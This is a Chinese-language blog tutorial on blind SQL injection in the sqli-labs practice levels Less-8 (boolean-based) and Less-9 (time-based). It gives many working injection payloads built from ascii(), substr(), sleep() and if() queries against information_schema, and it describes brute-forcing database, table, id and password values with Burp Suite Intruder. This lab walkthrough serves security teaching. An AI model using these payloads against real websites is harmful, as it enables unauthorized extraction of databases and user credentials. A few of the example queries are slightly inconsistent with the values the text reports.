【超详解】sql盲注中的布尔类型(Less-8)、时间类型的盲注(Less-9)

    技术2022-07-11  87

    本博文仅用于信息安全防御教学,请遵守中华人民共和国网络安全法!!

    SQL注入之盲注

    本博文仅用于信息安全防御教学,请遵守中华人民共和国网络安全法!!基于布尔类型的盲注(Less-8)基于时间类型的盲注(Less-9)

    基于布尔类型的盲注(Less-8)

    首先布尔类型只有两种状态:Ture和False

    盲注的意思就是我们在网页端并不能看到它的回显,只能根据逻辑来进行判断语句是否执行成功

    会用到的SQL函数:

    length()用来获取字符串的长度

    ASCII()用来获取字符串的ASCII码

    substr(str,M,N)用来截取字符串 其中str为要截取的字符串、M为从第几个字符开始截取N为截多少个字符,例如substr(str,1,1)的意思就是从str中的第一个字符开始截取一个字符停止,相当于只截取str中的第一个字符.

    首先我们在php代码里加上echo $sql语句,输出执行的sql语句,为了我们更方便的进行学习

    我们首先输入id=1来看看语句正确的时候页面返回什么内容

    再看看如果语句正确但是没有对应的id,页面返回什么 1.我们得知,页面正确则返回You are in,如果页面不正确则什么也不返回。

    相当于,逻辑为true时返回You are in… 逻辑为false时什么都不返回

    2.因为我们看到执行的sql语句是用单引号进行闭合的,所以我们可以闭合单引号来构造我们的payload

    然后我们首先来猜它有几个字段,order by 3页面返回正确 order by 4的时候,页面返回false,则证明该表有三个字段 接下来我们来猜数据库的名字,本来如果页面有回显的话,那么直接使用database()函数就可以返回当前数据库的名字,但是此题并没有回显位置 所以我们就要用到逻辑来判断数据库名字。

    首先我们猜数据库名字的长度小于10,页面成功返回,说明我们的数据库名字小于10

    SELECT * FROM users WHERE id='1'and (length(database())<10) --+

    然后我们大胆的猜想数据库名字的长度为8,结果页面返回正确,说明我们的猜想正确

    SELECT * FROM users WHERE id='1'and (length(database())=8) -- ' LIMIT 0,1 接下来我们来猜数据库的具体名字通过ASCII码来判断,我们发现数据库名字的第一个字符的ASCII码小于120。

    SELECT * FROM users WHERE id='1'and (ASCII(substr(database(),1,1))<120) --+ 我们接下来继续缩小范围,发现它的ASCII码不小于115.

    SELECT * FROM users WHERE id='1'and (ASCII(substr(database(),1,1))<115) --+ 然后我们大胆猜想它的ASCII码为115,发现页面返回正确,则证明它的第一个字符的ASCII码为115,经我们查表发现为字符s

    SELECT * FROM users WHERE id='1'and (ASCII(substr(database(),1,1))=115) --+ 接下来我们其实可以一直重复上面操作直到完全猜出数据库的名字,但是这样实在是太费时间了,接下来我们用burp suite的爆破模块进行对数据库的猜解

    我们首先在burp中设置好代理 然后浏览器也要设置同样的代理,具体操作可以百度burpsuite如何设置代理

    然后我们把拦截的流量发送到爆破模块,并且构造payload,把我们要遍历的数字加上变量符,然后开始爆破。 每次只需要改变截取第几个字符就行 然后我们发现只有当payload=101的时候与其他长度不一样,那就意味着我们的第二个字符的ASCII编码是101,也就是e 然后我们爆破第三个字符,我们构造同样的payload 发现当payload=99的时候,长度与其他相差很多 即可证明第三个字符的ASCII码为99,也就是c

    然后重复上述操作我们可以爆破出来名字是security这个数据库

    接下来我们开始爆破数据表名,我们发现第一个表名字的第一个字符的ASCII码是小于115的

    SELECT * FROM users WHERE id='1' and (ASCII(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)))<115 --+

    所以我们继续大胆猜想它的ASCII码为101,所以它的第一个数据表名字的第一个字符为e

    SELECT * FROM users WHERE id='1' and (ASCII(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)))=101 --+ 接下来的操作我们仍然可以重复上述操作,但我们用burp来实现爆破 我们发现当payload=109时,它的长度不同于其他,则第一张表名的第二个字符的ASCII码为109,所以这个字符为m

    所以重复修改上述选择第几张表和截取字符的长度(加粗部分),即可得到所有的表名

    id=1’ and (ASCII(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)))=101 --+

    最后我们爆破字段即可,方法与上述方法相同

    SELECT * FROM users WHERE id='1' and (ASCII(substr((select id from users limit 0,1),1,1)))<101 --+

    通过更改上述语句的截取长度和第几个id即可爆破出全部id

    SELECT * FROM users WHERE id='1' and (ASCII(substr((select id from users limit 0,1),1,1)))<101 --+

    通过更改上述语句的截取长度和第几个password即可爆破出全部password

    具体操作我就不在赘述了,我们只要懂得,布尔注入最重要的是逻辑判断以后的页面回显和几个sql函数的应用,注入的语句和我们之前学的Less1里面的都一样

    基于时间类型的盲注(Less-9)

    时间盲注和布尔盲注实际上一样都没有回显(且逻辑真和假回显的 页面一样),所以所谓时间盲注,其实运用的是sleep函数的延迟来判断,我们所执行的SQL语句是否成功。 所以我们常用到的函数是

    ASCII()、substr() sleep()让程序延迟执行 if语句,其中if语句的用法如下: if(expr1,expr2,expr3) 如果expr1为true,则执行expr2,否则执行expr3

    0x00 通过我们上图的分析,发现这是时间盲注且是单引号注入,所以我们将单引号闭合,运用sleep函数和if函数进行判断,并且注释掉多余的语句,来达到注入的目的

    0x01 因为是时间注入,所以页面的回显一样,下面就不贴图了,如果语句执行失败就延迟5s执行

    0x02 猜解数据库 我们猜数据库名字的第一个字符的ASCII码为110,发现程序延期执行5s,所以第一个字符的ASCII的码并不是110,然后我们用大小于来确定范围,从而得出数据库的第一个字符为s

    SELECT * FROM users WHERE id='1' and if(ascii(substr(database(),1,1))=110,1,sleep(5)) --+

    0x03 猜解数据表名 道理同上,通过猜解来确定范围,从而得出正确字符的ASCII码,然后对照ASCII码表来确定具体字符,经过我们确定security库的第一个数据表的第一个字符为e

    SELECT * FROM users WHERE id='1' and if(ascii(substr((select table_schema from information_schema.tables where table_schema='security' limit 0,1),1,1))=116,1,sleep(5)) --+

    0x04 猜解数据表字段 道理同上,通过猜解来确定范围,从而得出正确字符的ASCII码,然后对照ASCII码表来确定具体字符,经过我们确定user表字段的第一个字符为i

    SELECT * FROM users WHERE id='1' and if(ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1))=116,1,sleep(5)) --+ 0x05 猜解数据表值 道理同上,通过猜解来确定范围,从而得出正确字符的ASCII码,然后对照ASCII码表来确定具体字符,经过我们确定user表字段id值的第一个字符

    SELECT * FROM users WHERE id='1' and if(ascii(substr((select id from users limit 0,1),1,1))=116,1,sleep(5)) --+

    至此我们的基于时间的盲注也到此结束了,其实相比基于布尔类型的盲注,它只是通过程序的执行时间来判断sql语句的执行正确与否,具体操作和基于布尔类型的盲注一样,所以就不过多进行赘述了。

    当然上述操作爆破每一个字符的ASCII码,我们同样可以运用burp的爆破模块来进行,因为操作和上面一样,所以我也不过多赘述了

    至此我们的基于布尔类型和时间的盲注就讲完了,如有不懂,可以私信博主或者评论。

    Processed: 0.011, SQL: 9